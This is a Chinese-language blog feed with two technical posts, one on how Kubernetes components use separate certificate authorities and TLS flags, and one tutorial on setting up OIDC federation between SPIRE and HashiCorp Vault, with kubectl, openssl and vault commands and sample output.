--tls-ca-file string                        If set, this certificate authority will used for secure access from Admission Controllers. This must be a valid PEM-encoded CA bundle. Alternatively, the certificate authority can be appended to the certificate provided by --tls-cert-file.
--tls-cert-file string                      File containing the default x509 Certificate for HTTPS. (CA cert, if any, concatenated after server cert). If HTTPS serving is enabled, and --tls-cert-file and --tls-private-key-file are not provided, a self-signed certificate and key are generated for the public address and saved to /var/run/kubernetes.
--tls-private-key-file string               File containing the default x509 private key matching --tls-cert-file.
--tls-sni-cert-key namedCertKey             A pair of x509 certificate and private key file paths, optionally suffixed with a list of domain patterns which are fully qualified domain names, possibly with prefixed wildcard segments. If no domain patterns are provided, the names of the certificate are extracted. Non-wildcard matches trump over wildcard matches, explicit domain patterns trump over extracted names. For multiple key/certificate pairs, use the --tls-sni-cert-key multiple times. Examples: &amp;quot;example.crt,example.key&amp;quot; or &amp;quot;foo.crt,foo.key:*.foo.com,foo.com&amp;quot;. (default [])
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来是 Controller Manager 的：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;--cluster-signing-cert-file string          Filename containing a PEM-encoded X509 CA certificate used to issue cluster-scoped certificates (default &amp;quot;/etc/kubernetes/ca/ca.pem&amp;quot;)
--cluster-signing-key-file string           Filename containing a PEM-encoded RSA or ECDSA private key used to sign cluster-scoped certificates (default &amp;quot;/etc/kubernetes/ca/ca.key&amp;quot;)
--root-ca-file string                       If set, this root certificate authority will be included in service account&#39;s token secret. This must be a valid PEM-encoded CA bundle.
--service-account-private-key-file string   Filename containing a PEM-encoded private RSA or ECDSA key used to sign service account tokens.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再来个 Kubelet：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;--client-ca-file string                   If set, any request presenting a client certificate signed by one of the authorities in the client-ca-file is authenticated with an identity corresponding to the CommonName of the client certificate.
--tls-cert-file string                    File containing x509 Certificate used for serving HTTPS (with intermediate certs, if any, concatenated after server cert). If --tls-cert-file and --tls-private-key-file are not provided, a self-signed certificate and key are generated for the public address and saved to the directory passed to --cert-dir.
--tls-private-key-file string             File containing x509 private key matching --tls-cert-file.
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;本文假设读者：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;对 TLS 认证和 CA 有一些了解。&lt;/li&gt;
&lt;li&gt;能把这些东西跑起来，但是不知道为啥。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;下面还会说明在 Kubernetes 中的不同 CA，以及不同 CA 的协同工作。&lt;/p&gt;

&lt;p&gt;另外有些我在工作中学到的一些：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;不要用 CA 来检查 Service Account Key。Service Account key 有点古怪，他跟其他的 Key 不是一同处理的。&lt;/li&gt;
&lt;li&gt;如果 kubernetes 建立用户和组的方式不适合需求，可以（应该）设置一个认证代理。&lt;/li&gt;
&lt;li&gt;API Server 如果设置了太多 CA，会显得有点乱。&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;这个题目有点复杂，如果阅读中发现任何问题请通知我。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;pki-和-kubernetes&#34;&gt;PKI 和 Kubernetes&lt;/h2&gt;

&lt;p&gt;在阅读 Kubernetes 材料的过程中，我注意到一个词出现了很多次：“PKI”，我不很清楚这是个什么。&lt;/p&gt;

&lt;p&gt;如果你有个在运行的 Kubernetes 集群，其中可能有几百上千个公钥私钥（客户端认证、服务认证等等）。&lt;/p&gt;

&lt;p&gt;如果这几百个 Key 是独立的互不相关的，就会让安全性堕入泥潭。因此我们需要个 CA，CA 的职责就是签发证书，并告诉用户“这个公钥是我发的，靠谱”。&lt;/p&gt;

&lt;p&gt;PKI 就是组织 Key 的方式 —— 什么 Key 是用什么 CA 签发的。&lt;/p&gt;

&lt;p&gt;例如：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;可以为每个集群准备一个 CA，集群所有的私钥都从这个 CA 签发（Kubernetes 文档中多数是这个情况）。&lt;/li&gt;
&lt;li&gt;可以准备一个全局 CA，所有的私钥都从此而来。&lt;/li&gt;
&lt;li&gt;单独给服务使用一个 CA，对外可见；内部另外使用一个 CA 作为专门用途。&lt;/li&gt;
&lt;li&gt;还有其他。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我不是安全专家，所以不想说如何管理私钥和 CA 才更好。但是不管你用的什么样的模型，其实都可以跟 Kubernetes 协调工作。&lt;/p&gt;

&lt;p&gt;下面根据需求来确认管理 PKI 的方式，以及如何在 Kubernetes 中实现。&lt;/p&gt;

&lt;p&gt;Kubernetes 集群需要一个单根结构的 CA 么？不&lt;/p&gt;

&lt;p&gt;如果你读了不少 Kubernetes 集群的安装文档，会注意到总有一步：设置一个 CA。Kelsey Hightower 的大作 “Kubernetes the hard way” 中是第二步，“在集群中信任 TLS ”中说：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;每个 Kubernetes 集群都有一个集群根 CA。CA 一般用于集群中的组件验证 API Server 的合法性，在 API Serverl 来说，就是验证 kubelet 客户端的证书，诸如此类的。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;基本上来说：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;设置一个 CA&lt;/li&gt;
&lt;li&gt;用这个 CA 生成不同的证书，给 Kubernetes 集群的不同组件使用。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;如果不想为每个集群设置一个新的 CA 呢？可能有很多理由。但是我担心，最终还是需要提供一个根 CA。&lt;/p&gt;

&lt;p&gt;这好像说上面的话是假的，其实可以使用很多不同的 CA 签发的证书来管理 Kubernetes。总的说来，还是要结合具体场景的需求。&lt;/p&gt;

&lt;p&gt;接下来我们来探讨一下证书相关的参数，以及互相之间的关系。每一节都会包含一个可以定义的 CA。每一个都是独立的，并不需要一致。不过在实际操作中，可能你并不想管理 6 个不同的 CA。&lt;/p&gt;

&lt;h2 id=&#34;api-server-的-tls-证书-以及-ca&#34;&gt;API Server 的 TLS 证书（以及 CA）&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--tls-cert-file string&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;包含缺省的 x509 https 认证的文件（可以包含 CA 证书），如果启用了 HTTPS 服务，又没有指定&lt;code&gt;--tls-cert-file&lt;/code&gt;和&lt;code&gt;--tls-private-key-file&lt;/code&gt;参数，就会在 &lt;code&gt;/var/run/kubernetes&lt;/code&gt;生成一个自签名证书以及 Key&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--tls-private-key-file&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;--tls-cert-file&lt;/code&gt;证书的 x509 私钥。&lt;/p&gt;

&lt;p&gt;如果用 TLS 连接 API Server，就需要这两个参数来选择 API Server 使用的证书。&lt;/p&gt;

&lt;p&gt;证书设置了之后，还需要给各个组件的 kubeconfig 文件进行相关设置。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;current-context: my-context
apiVersion: v1
clusters:
- cluster:
    certificate-authority: /path/to/my/ca.crt # 签发 API Server 证书的 CA 证书
    server: https://horse.org:4443
  name: my-cluster
kind: Config
users:
- name: green-user
  user:
    client-certificate: path/to/my/client/cert # 后面会讲
    client-key: path/to/my/client/key # 后面会讲
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;有个让我惊奇的事情就是——这个宇宙里面的几乎所有其他使用 TLS 的系统都会去 &lt;code&gt;/etc/ssl&lt;/code&gt; 查找一个本机信任的 CA 列表，但是 Kubernetes 很傲娇，他不会去找，必须显式的进行告知签发 CA。&lt;/p&gt;

&lt;p&gt;可以使用参数&lt;code&gt;--kubeconfig /path/to/kubeconfig.yaml&lt;/code&gt;将配置文件分配给各个组件进行使用。&lt;/p&gt;

&lt;p&gt;这样我们完成了第一个 CA 的设置：签发 API Server 证书的 CA。这个 CA 跟其他的 CA 可以不一致。&lt;/p&gt;

&lt;h2 id=&#34;api-server-客户证书认证&#34;&gt;API Server 客户证书认证&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--client-ca-file**&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果设置了这一参数，所有的请求都应该使用该文件中所包含的 CA 签发的证书进行签署，证书中的 Common Name 会作为用户名进行使用。&lt;/p&gt;

&lt;p&gt;Kubernetes 组件获得 API Server 认证的方法之一就是使用这一参数。&lt;/p&gt;

&lt;p&gt;所有客户端证书都应该由这一 CA 签发（不需要和 API Server 的 CA 一致）。&lt;/p&gt;

&lt;p&gt;当使用 kubeconfig 文件的时候，可以按照如下方式设置使用证书：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Config
users:
- name: green-user
  user:
    client-certificate: path/to/my/client/cert
    client-key: path/to/my/client/key
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Kubernetes 做了很多用户证书方面的假设（用户名就是 Common Name，Group 就是 Organization）。如果这些假设不符合需求，那么就应该&lt;strong&gt;停用客户端证书认证&lt;/strong&gt;，改用认证代理。&lt;/p&gt;

&lt;h2 id=&#34;请求-header-的证书认证-或者-认证代理&#34;&gt;请求 Header 的证书认证（或者：认证代理）&lt;/h2&gt;

&lt;h3 id=&#34;api-server-参数&#34;&gt;API server 参数&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--requestheader-allowed-names stringSlice&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;code&gt;--requestheader-username-headers&lt;/code&gt; 中指定的 Header 中包含用户名，这一参数的列表确定了允许有效的 Common Name，如果这一参数的列表为空，则所有通过&lt;code&gt;--requestheader-client-ca-file&lt;/code&gt;校验的都允许通过。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--requestheader-client-ca-file string&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;针对收到的请求，在信任&lt;code&gt;--requestheader-username-headers&lt;/code&gt;中指定的 Header 里面包含的用户名之前，首先会用这一 CA 对客户证书进行验证。&lt;/p&gt;

&lt;p&gt;另外一个设置 Kubernetes 认证的方式就是认证代理。如果你对如何向 API Server 发送用户名和组有很多想法，可以设置一个代理，这一代理会使用 HTTP Header 将用户名和组发送给 API Server。&lt;/p&gt;

&lt;p&gt;文档中简单的解释了一下工作方式。代理使用一个客户端证书表明身份，&lt;code&gt;--requestheader-client-ca-file&lt;/code&gt;告知 API Server，该证书所属的 CA。&lt;/p&gt;

&lt;p&gt;我觉得——API Server 有太多认证方式了（客户端认证、认证代理、Token 等等），让人很迷惑。建议用户尽量少的同时使用认证方式，便于管理、使用和除错。&lt;/p&gt;

&lt;h2 id=&#34;service-account-私钥-不是-ca-签发的&#34;&gt;service account 私钥（不是 CA 签发的）&lt;/h2&gt;

&lt;h3 id=&#34;api-server-参数-1&#34;&gt;API Server 参数&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--service-account-key-file&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PEM 编码的 X509 RSA 或者 ECDSA 的私钥或者公钥，用于检验 ServiceAccount 的 token。如果没指定的话，会使用&lt;code&gt;--tls-private-key-file&lt;/code&gt;替代。文件中可以包含多个 Key，这一参数可以重复指定多个文件。&lt;/p&gt;

&lt;h3 id=&#34;controller-manager-参数&#34;&gt;Controller Manager 参数&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--service-account-private-key-file&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;PEM 编码的 X509 RSA 或者 ECDSA Key，用于签署 Service Account Token。&lt;/p&gt;

&lt;p&gt;Controller Manager 使用私钥签署 Service Account Token。跟 Kubernetes 中使用的其他私钥不同的是，这个私钥是不支持同一 CA 验证的，因此上，需要给每个 Controller Manager 指定一致的私钥文件。&lt;/p&gt;

&lt;p&gt;这个 Key 也不需要什么 CA 来做签署，生成很容易：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;openssl genrsa -out private.key 4096
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后分发给每个 Controller Manager 和 API Server 就可以了。&lt;/p&gt;

&lt;p&gt;使用和 &lt;code&gt;--tls-private-key-file&lt;/code&gt; 一致的文件是可以工作的——只要你给每个 API Server 用的都是同一个 TLS Key（一般都这么做的吧？）。（这里我假设你运行的一个有高可用支持的，多个 API Server 和多个 Controller Manager同时运行的集群）&lt;/p&gt;

&lt;p&gt;如果两个不同的 Controller Manager 用了两个不同的 Key，那就杯具了，他们会用各自的 Key 来生成 Token，最终导致无效判定。我觉得这点不太合理，Kubernetes 应该和其他方面一样，使用 CA 进行管理。通过对源码的月度，我觉得原因可能是 jwt-go 不支持 CA。&lt;/p&gt;

&lt;h2 id=&#34;kubelet-证书认证&#34;&gt;Kubelet 证书认证&lt;/h2&gt;

&lt;p&gt;总算到了 Kubelet 环节了，下面是 API Server 和 Kubelet 相关的内容：&lt;/p&gt;

&lt;h3 id=&#34;api-server-参数-2&#34;&gt;API Server 参数&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;--kubelet-certificate-authority&lt;/code&gt;： CA 证书的路径。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;--kubelet-client-certificate&lt;/code&gt;： TLS 证书文件&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;--kubelet-client-key** TLS Key&lt;/code&gt;： 文件&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;kubelet-参数&#34;&gt;Kubelet 参数&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--client-ca-file&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;请求中的客户端证书如果是由文件中的 CA 签署的，那么他的 Common Name 就会被用作 ID 进行认证。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--tls-cert-file&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;用来提供 HTTPS 服务的 x509 证书（其中也可包含中间人证书）。如果不提供 &lt;code&gt;--tls-cert-file&lt;/code&gt; 和&lt;code&gt;--tls-private-key-file&lt;/code&gt;，就会为主机地址生成一个自签名的证书和对应的 Key，并保存到 &lt;code&gt;--cert-dir&lt;/code&gt; 目录里。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--tls-private-key-file&lt;/code&gt;：&lt;code&gt;--tls-cert-file&lt;/code&gt; 对应的 Key&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;校验 kubelet 的请求是有用的，因为 Kubelet 的职责就是在主机上执行代码。&lt;/p&gt;

&lt;p&gt;这里实际上有两个 CA，这里不准备深入描述，情况和 API Server 是一样的，Kubelet 用 TLS 来进行认证，也支持客户证书认证。&lt;/p&gt;

&lt;p&gt;另外还要告知 API Server，用什么 CA 检查 Kubelet 的 TLS，另外用什么证书来跟 Kubelet 通信。&lt;/p&gt;

&lt;p&gt;再说一次，这两个 CA 是可以不同的。&lt;/p&gt;

&lt;h2 id=&#34;太多-ca-了&#34;&gt;太多 CA 了&lt;/h2&gt;

&lt;p&gt;现在我们找到了五个不同的 CA，他们各自独立的为 Kubernetes 提供支持。&lt;/p&gt;

&lt;p&gt;其实还有一些没讨论到的证书，不过希望本文能给你阅读官方文档提供一点帮助。&lt;/p&gt;

&lt;p&gt;当然了，每个 CA 独立设置可能不是必要的，我是希望帮助读者理解这些东西如何设置使之符合各种需求，而不是简单的面向文档照本宣科。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>使用 JWT-SVID 做为访问 Valut 的凭据</title>
      <link>/post/spire-and-vault/</link>
      <pubDate>Thu, 11 May 2017 23:27:37 +0800</pubDate>
      <guid>/post/spire-and-vault/</guid>
      <description>

&lt;p&gt;这次介绍的是在 SPIRE Server 和 Vault Server 之间建立 OIDC 联邦的方法。设置联邦之后，SPIRE 认证的工作负载就能使用 JWT-SVID 来通过 Vault Server 的认证。这样依赖，工作负载就无需使用 &lt;code&gt;AppRole&lt;/code&gt; 或者用户名密码的方式来进行认证了。&lt;/p&gt;

&lt;p&gt;这里解决的就是 0 号海龟问题：如何使用 SPIRE 作为 idP，让应用通过免认证 API 获取自己的身份，以此作为凭据来访问联邦中的 SP 服务&lt;/p&gt;

&lt;p&gt;本文的操作将会涉及以下内容：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;部署 OIDC Discovery Provider Service&lt;/li&gt;
&lt;li&gt;创建一个 DNS A 记录，指向 OIDC Discovery document&lt;/li&gt;
&lt;li&gt;设置一个本地的 Vault Server，用于存储机密&lt;/li&gt;
&lt;li&gt;为 Vault 服务器设置一个 SPIRE Server OIDC Provider 作为认证方法&lt;/li&gt;
&lt;li&gt;使用 SPIRE 身份来访问机密数据&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;开始之前&#34;&gt;开始之前&lt;/h2&gt;

&lt;p&gt;本文内容需要一个公网可以访问的 Kubernetes 以及，并且要开放一个 Ingress 到公网。并且具有一个能够设置 A 记录的域名。另外因为需要暴露 &lt;code&gt;Loadbalancer&lt;/code&gt; 类型的服务，因此最好使用公有云的托管 K8s 进行尝试；并且这里需要使用 Ingress，所以集群里如果没有 Ingress 控制器，还需要部署一个。&lt;/p&gt;

&lt;p&gt;另外需要从 &lt;code&gt;https://github.com/spiffe/spire-tutorials.git&lt;/code&gt; 克隆代码。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;注意：目前（2023-01-16）代码中涉及的部分配置已经过期，请参考 &lt;code&gt;https://github.com/spiffe/spire-tutorials/pull/107&lt;/code&gt; 的内容进行修复。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;根据快速开始章节的指导，准备环境，大致过程如下：&lt;/p&gt;

&lt;p&gt;进入代码的 &lt;code&gt;spire-tutorials/k8s/quickstart&lt;/code&gt; 目录，执行操作。&lt;/p&gt;

&lt;p&gt;首先是启动 SPIRE Server：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# 创建命名空间
$ kubectl apply -f spire-namespace.yaml
# 创建 SPIRE Server 所需的 ServiceAccount 及其授权
# 创建 Configmap 用于存储 Trust Bundle
$ kubectl apply \
    -f server-account.yaml \
    -f spire-bundle-configmap.yaml \
    -f server-cluster-role.yaml
# 创建 SPIRE Server Configmap
# 创建 SPIRE Server 的 StatefulSet 以及 Service 对象
$ kubectl apply \
    -f server-configmap.yaml \
    -f server-statefulset.yaml \
    -f server-service.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来启动 SPIRE Agent：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# 给 Agent 创建 Service Account 并进行授权
$ kubectl apply \
    -f agent-account.yaml \
    -f agent-cluster-role.yaml
# 创建 Agent Configmap，并用 Daemonset 的形式启动 Agent
$ kubectl apply \
    -f agent-configmap.yaml \
    -f agent-daemonset.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后是注册工作负载：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# 创建 Node 注册项，使用 k8s_sat 作为 Selector
$ kubectl exec -n spire spire-server-0 -- \
    /opt/spire/bin/spire-server entry create \
    -spiffeID spiffe://example.org/ns/spire/sa/spire-agent \
    -selector k8s_sat:cluster:demo-cluster \
    -selector k8s_sat:agent_ns:spire \
    -selector k8s_sat:agent_sa:spire-agent \
    -node
# 创建工作负载注册项
$ kubectl exec -n spire spire-server-0 -- \
    /opt/spire/bin/spire-server entry create \
    -spiffeID spiffe://example.org/ns/default/sa/default \
    -parentID spiffe://example.org/ns/spire/sa/spire-agent \
    -selector k8s:ns:default \
    -selector k8s🈂️default
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;最后是启动工作负载容器：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# 启动应用
$ kubectl apply -f client-deployment.yaml
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;配置-spire-组件&#34;&gt;配置 SPIRE 组件&lt;/h2&gt;

&lt;p&gt;这个案例用到的文件保存在 &lt;code&gt;k8s/oidc-vault/8s&lt;/code&gt; 目录之中，搜索其中的 &lt;code&gt;TODO&lt;/code&gt;，根据本地情况进行修改，涉及内容如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;MY_EMAIL_ADDRESS&lt;/code&gt;：涉及文件 &lt;code&gt;oidc-dp-configmap.yaml&lt;/code&gt;。这里需要一个 EMail 地址，这个地址需要满足 Let&amp;rsquo;s Encrypt CA 的要求，用于 OIDC 联邦证书的签署，使用过程中不会向这个邮箱发送邮件。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;MY_DISCOVERY_DOMAIN&lt;/code&gt;：涉及文件包括 &lt;code&gt;ingress.yaml&lt;/code&gt; 、&lt;code&gt;oidc-dp-configmap.yaml&lt;/code&gt; 以及 &lt;code&gt;server-configmap.yaml&lt;/code&gt;。此处需要前面提到的域名，用于定位 OIDC Discovery Document。例如 &lt;code&gt;oidc-discovery.example.org&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;MY_CLUSTER_NAME&lt;/code&gt;：替换为 SPIRE 所在集群的名称，例如 &lt;code&gt;gke_dev-prj_name-central1-c_vault-oidc-tutorial&lt;/code&gt;。涉及文件 &lt;code&gt;server-configmap.yaml&lt;/code&gt;。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;上述文件中使用了 &lt;code&gt;example.org&lt;/code&gt; 作为信任域，无需修改。&lt;/p&gt;

&lt;h2 id=&#34;为-oidc-discovery-provider-提供-configmap&#34;&gt;为 OIDC Discovery Provider 提供 Configmap&lt;/h2&gt;

&lt;p&gt;进入目录 &lt;code&gt;k8s/oidc-vault/k8s&lt;/code&gt;，执行下面的命令来更新 SPIRE Server（Quickstart 中已经启动了 Server，这里做一个替换，加入 OIDC Discovery 的服务）：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl apply \
    -f server-configmap.yaml \
    -f oidc-dp-configmap.yaml \
    -f server-statefulset.yaml
# 验证运行结果
$ kubectl get pods -n spire -l app=spire-server -o \
    jsonpath=&#39;{.items[*].spec.containers[*].name}{&amp;quot;\n&amp;quot;}&#39;
spire-server spire-oidc
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;注意上面提到的 PR，这个 Statefulset 使用的是双容器 Pod，因为启动顺序不可控的问题，需要修改正确的 LivenessProbe 来在合适的时机对 OIDC 相关容器进行重启，才能成功启动 Pod。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;为-oidc-discovery-ip-地址配置-dns&#34;&gt;为 OIDC Discovery IP 地址配置 DNS&lt;/h2&gt;

&lt;p&gt;这里需要使用上文提到的 DNS 记录。下面的步骤会使用这个域名为 Discovery Document 提供端点。Vault Server 会到这里进行查询，完成 Valut Server 和 SPIRE 之间的认证过程。&lt;/p&gt;

&lt;p&gt;实际上还可以使用 &lt;a href=&#34;https://tools.ietf.org/html/rfc7517&#34; target=&#34;_blank&#34;&gt;JWKS&lt;/a&gt; 进行 Vault 的集成认证。这种方式就不需要 DNS 记录了。但是与此相对的，要求 Valut 部署在 Kubernetes 集群之中。相关内容可以参考 &lt;a href=&#34;https://www.vaultproject.io/api-docs/auth/jwt#jwks_url&#34; target=&#34;_blank&#34;&gt;Vault 官方文档&lt;/a&gt;。&lt;/p&gt;

&lt;h3 id=&#34;获取服务-ip-地址&#34;&gt;获取服务 IP 地址&lt;/h3&gt;

&lt;p&gt;前面创建的 &lt;code&gt;spire-oidc&lt;/code&gt; 服务是 &lt;code&gt;Loadbalancer&lt;/code&gt; 类型的服务，因此这里需要获取它的 IP 地址：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get service -n spire spire-oidc

NAME           TYPE           CLUSTER-IP    EXTERNAL-IP    PORT(S)          AGE
spire-oidc     LoadBalancer   10.12.0.18    34.82.139.13   443:30198/TCP    108s
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;创建-dns-记录&#34;&gt;创建 DNS 记录&lt;/h3&gt;

&lt;p&gt;将域名映射到上述地址。然后用 &lt;code&gt;nslookup&lt;/code&gt; 等工具校验域名的有效性。例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ nslookup oidc-discovery.example.org
Server:        203.0.113.0
Address:	      203.0.113.0#53

Non-authoritative answer:
Name:	oidc-discovery.example.org
Address: 93.184.216.34
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;可以使用在线工具 &lt;a href=&#34;https://www.whatsmydns.net/&#34; target=&#34;_blank&#34;&gt;DNS Propagation Checker&lt;/a&gt; 来观察 DNS 记录的传播过程。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;DNS 生效后，可以在浏览器中访问 &lt;code&gt;https://MY_DISCOVERY_DOMAIN/.well-known/openid-configuration&lt;/code&gt;，顺利的话，会看到如下 JSON 格式的返回内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-json&#34;&gt;{
  &amp;quot;issuer&amp;quot;: &amp;quot;https://oidc-discovery.example.org&amp;quot;,
  &amp;quot;jwks_uri&amp;quot;: &amp;quot;https://oidc-discovery.example.org/keys&amp;quot;,
  &amp;quot;authorization_endpoint&amp;quot;: &amp;quot;&amp;quot;,
  &amp;quot;response_types_supported&amp;quot;: [
    &amp;quot;id_token&amp;quot;
  ],
  &amp;quot;subject_types_supported&amp;quot;: [],
  &amp;quot;id_token_signing_alg_values_supported&amp;quot;: [
    &amp;quot;RS256&amp;quot;,
    &amp;quot;ES256&amp;quot;,
    &amp;quot;ES384&amp;quot;
  ]
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;安装和配置-vault-server&#34;&gt;安装和配置 Vault Server&lt;/h2&gt;

&lt;p&gt;DNS 设置和验证完成之后，开始配置 Vault 服务器。&lt;/p&gt;

&lt;p&gt;在 MacOS 中可以使用 Homebrew 安装 Vault，其它操作系统可以参考&lt;a href=&#34;https://learn.hashicorp.com/tutorials/vault/getting-started-install&#34; target=&#34;_blank&#34;&gt;官方安装文档&lt;/a&gt;。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;建议全新安装 Vault Server，复用已有服务可能会有配置冲突。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;打开一个新的终端窗口，进入源码路径的 &lt;code&gt;./k8s/oidc-vault&lt;/code&gt; 目录。在 &lt;code&gt;./vault/config.jcl&lt;/code&gt; 中加入配置内容，如下配置表示 Vault 监听 &lt;code&gt;127.0.0.1&lt;/code&gt; 的 8200 端口；使用文件作为存储后端；为了测试方便，我们关闭了 TLS，当然，绝不推荐在生产环境中这样使用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-hcl&#34;&gt;listener &amp;quot;tcp&amp;quot; {
   address     = &amp;quot;127.0.0.1:8200&amp;quot;,
   tls_disable = 1
}

storage &amp;quot;file&amp;quot; {
   path = &amp;quot;vault-storage&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用这个配置文件启动 Vault 服务：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault server -config ./vault/config.hcl
...
==&amp;gt; Vault server started! Log data will stream in below:
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;初始化-vault-并解封&#34;&gt;初始化 Vault 并解封&lt;/h3&gt;

&lt;p&gt;设置 &lt;code&gt;VAULT_ADDR&lt;/code&gt; 环境变量为 &lt;code&gt;http://127.0.0.1:8200&lt;/code&gt;，然后进行初始化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault operator init
...
Unseal Key 1: VI0/4yK8H/tHC625aDYaf62+Jmo5qqlizn5bVmsbY0j0
Unseal Key 2: UINTf0oPzpiMIhOU3CNzFpo6Pkun36hGKPlcbQUkl1qT
Unseal Key 3: SYO0yTfCn5IkoQ5f/JzE98yQI8Nfiv51gjXZMamyjXn/
Unseal Key 4: 90vXLQJqba32VpBxYr4jB9gRVu6gRC/uWt812oF44zzP
Unseal Key 5: 2eBBVUC63DOPqNKn4WPoxci4VOfchA7tOr3LTqHtS5FC
Initial Root Token: s.PFuCtYgzjh6mRAfAVjfsGv3O
...
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;建议记录上面的内容（Key 和 Token），后面马上就要用到。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;接下来解封 Vault，需要从上面记录的秘钥中选择任意三个进行解封：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ vault operator unseal

Unseal Key (will be hidden): &amp;lt;PASTE ONE OF YOUR KEYS HERE&amp;gt;
   
Key                Value
---                -----
Seal Type          shamir
Initialized        true
Sealed             true # &amp;lt;- 代表是否解封
Total Shares       5
Threshold          3
Unseal Progress    1/3 # &amp;lt;- 解封进度
